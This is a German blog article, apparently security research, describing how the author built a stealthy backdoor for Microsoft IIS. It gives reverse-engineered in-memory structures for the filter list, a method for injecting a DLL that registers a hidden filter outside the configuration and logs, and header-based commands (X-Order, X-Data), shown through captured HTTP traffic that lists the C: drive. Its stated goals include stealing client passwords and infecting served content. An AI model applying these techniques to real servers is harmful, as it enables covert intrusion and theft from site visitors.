
In diesem Artikel erkläre ich, wie ich ein Rootkit für Microsoft Internet Information Services (IIS) entwickelt habe. Die Frage ist: Warum eine Backdoor in einem Webserver?
Zuerst die offensichtliche, aber nutzlose Antwort: weil wir es können.
Ok, geben wir eine klügere Antwort. Der Zweck einer Backdoor in einem Webserver ist zweifach:
Sie ermöglicht dem Angreifer, auf Daten zuzugreifen, die von den Clients gesendet werden. Wenn die Website beispielsweise passwortgeschützt ist, können wir dieses Passwort abrufen.
Sie ermöglicht es, alles, was vom Server an den Web-Client gesendet wird, im laufenden Betrieb mit einer Backdoor zu versehen.
Dieser zweite Punkt ist besonders interessant, da er dem Angreifer erlaubt, den passenden Exploit je nach Webbrowser, der die Webseite anfordert, einzuschleusen oder eine vom Server heruntergeladene ausführbare Datei zu infizieren. IIS-Backdoor
IIS ist Microsofts Webserver und ein wichtiger Bestandteil von Microsofts Web-Basistechnologien wie OWA. Es wurden viele Versionen veröffentlicht, von der ersten (IIS 1.0 unter Windows NT 3.51) bis zur neuesten (IIS 7.5 unter Windows Server 2008). IIS ist im Internet und in den Intranets von Unternehmen weit verbreitet. Erweiterung von IIS
Microsoft hat eine API namens ISAPI (Internet Server Application Programming Interface) definiert, um Entwicklern zu helfen, Funktionen zu IIS hinzuzufügen. Es können zwei Arten von Komponenten zu IIS hinzugefügt werden: Erweiterungen oder Filter. ISAPI-Erweiterungen
Erweiterungen sind DLLs, die 3 Funktionen exportieren:
GetExtensionVersion
HttpExtensionProc
TerminateExtension
Erweiterungen sind Anwendungen, die innerhalb von IIS laufen. Sie werden von IIS jedes Mal geladen, wenn es sie benötigt. Erweiterungen greifen auf den Inhalt einer Anfrage zu und sind für die Antwort an den Client verantwortlich. Wenn ein Client beispielsweise die Seite http ://mydomain/myextension anfordert, wobei myextension Ihre registrierte Erweiterung ist, wird die HttpExtensionProc Ihrer Erweiterung aufgerufen. IIS stellt ihr die folgende Struktur bereit:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
Auf diese Weise kann HttpExtensionProc Daten aus der Anfrage lesen, sie verarbeiten und mithilfe der Callback-Funktionen ReadClient und WriteClient eine Antwort zurücksenden. ISAPI-Filter
Filter sind DLLs, die 3 Funktionen exportieren:
GetFilterVersion
HttpFilterProc
TerminateFilter
Filter werden für eine Reihe von Ereignissen registriert. Jedes Mal, wenn während der Lebensdauer einer Anfrage ein Ereignis eintritt, wird die HttpFilterProc aufgerufen. Hier ist eine unvollständige Liste von Ereignissen, für die ein Filter registriert werden kann:
SF_NOTIFY_PREPROC_HEADERS: tritt ein, wenn IIS die Vorverarbeitung der Header abgeschlossen hat.
SF_NOTIFY_SEND_RESPONSE: tritt ein, wenn IIS bereit ist, die Antwort an den Client zu senden
SF_NOTIFY_END_OF_REQUEST: tritt ein, wenn eine Anfrage ihren Lebenszyklus beendet hat
SF_NOTIFY_LOG: tritt ein, bevor IIS das Protokoll für die aktuelle Anfrage schreibt
Sobald ein Ereignis eintritt, für das ein Filter registriert ist, wird die HttpFilterProc des Filters aufgerufen und erhält je nach Ereignistyp eine Struktur. Handelt es sich beispielsweise um ein SF_NOTIFY_END_OF_REQUEST-Ereignis, wird dem Filter von IIS die folgende Struktur übergeben:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Diese Struktur enthält alle notwendigen Informationen, die ein Filter zum Protokollieren der eingehenden Anfrage benötigt. Überblick über Erweiterungen und Filter
Das folgende Schema ist eine allgemeine Darstellung, wie Filter und Erweiterungen von einer Client-Anfrage erreicht werden:
Schemaextfilts.png Versteckter Filter
Für die Implementierung meiner IIS-Backdoor habe ich mich für den IIS-Filtermechanismus anstelle des Erweiterungsmechanismus entschieden. Hauptsächlich aus Gründen der Tarnung. Um eine Erweiterung zu erreichen, müssen Clients nämlich eine Anfrage an eine URL wie diese durchführen: http ://mydomain/myextension. Meine Erweiterung würde dann in den Serverprotokollen erscheinen. Wenn ich einen Filter verwende, kann er durch Aufrufen einer beliebigen gültigen Seite auf dem Server erreicht werden: Das ist ein viel normaleres Verhalten.
Es ist möglich, einen Filter über das IIS-Konfigurationspanel (in den IIS-Konfigurationsdateien) zu registrieren, aber das ist alles andere als unauffällig. Ich habe beschlossen, den Filter manuell in die verkettete Liste der IIS-Filter einzufügen. Dazu injiziere ich meine DLL in den IIS-Prozess; die DLL durchsucht den Heap des IIS-Prozesses und registriert sich manuell in der Liste der IIS-Filter.
Zwei Strukturtypen werden verwendet, um die Liste der IIS-Filter im Speicher zu verwalten. Der erste ist der folgende:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Sie hat die folgenden Member:
Magic : ein magisches DWORD mit dem Wert "FLIS".
NumberOfFilters : die Anzahl der Filter.
FilterPointerArray : ein Array von Filtern.
Flags1Sum : die Summe (mit OR-Logikoperator) der Ereignisse, für die alle Filter registriert sind.
Flags1 : ein Array von Flags, für die jeder Filter registriert ist.
Jeder Filter hat seine eigene HTTP_FILTER_DLL-Struktur, die wie folgt aussieht:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic : ein magisches DWORD mit dem Wert "FDLL".
pPrevious, pNext : Zeiger auf die vorherige und nächste HTTP_FILTER_DLL-Struktur in der Liste.
ModuleBaseAddress: Basisadresse der Filter-DLL.
HttpFilterProc : Adresse der HttpFilterProc-Funktion des Filters.
AcceptFlags1: die Summe (mit OR-Logikoperator) der Ereignisse, für die der Filter registriert ist.
Das folgende Schema zeigt, wie IIS-Filter im Speicher organisiert sind:
SchemaListNoHidFilt.png
Mit Kenntnis dieser Speicherorganisation ist es einfach, einen neuen versteckten Filter im Speicher hinzuzufügen. Dazu müssen wir die Instanz der FILTER_LIST im Heap finden. Ist sie gefunden, müssen wir nur eine neue HTTP_FILTER_DLL-Struktur zur HTTP_FILTER_DLL-Liste hinzufügen und einen Verweis darauf im Filter-Array der FILTER_LIST-Struktur ergänzen:
SchemaListHidFilt.png Implementierung der Backdoor
Die Backdoor funktioniert nach einem sehr einfachen Prinzip. Clients senden Anfragen mit speziellen Headern, die Befehle enthalten, und der Filter antwortet, indem er Daten zur ausgehenden Antwort hinzufügt. Der Filter ist für die Ereignisse SF_NOTIFY_PREPROC_HEADERS und SF_NOTIFY_SEND_RAW_DATA registriert. Sobald eine eingehende Anfrage eintrifft, prüft der Filter, ob die Header X-ORDER und/oder X-DATA in der Anfrage vorhanden sind. Ist dies der Fall und der Befehl bekannt, führt er ihn aus und antwortet. Da unser Filter für jede Seite des Servers benachrichtigt wird, kann ich jede beliebige Seite auf dem Server anfordern, um mit meinem Filter zu kommunizieren. Ich muss nur spezielle Header zu einer regulären Anfrage hinzufügen.
Wenn ich eine einfache Seite (hier /pwet.htm) ohne zusätzliche Header anfordere, verhält sich IIS normal, d. h. die IIS-Antwort sieht wie folgt aus:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Wenn ich jedoch dieselbe Seite anfordere und einen Befehl hinzufüge (hier lautet der Befehl "ListDir" mit base64("C:")), erhalte ich das folgende Ergebnis:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Einen IIS-Webserver mit einer Backdoor zu versehen, ist also nicht so schwierig und bietet viele Möglichkeiten...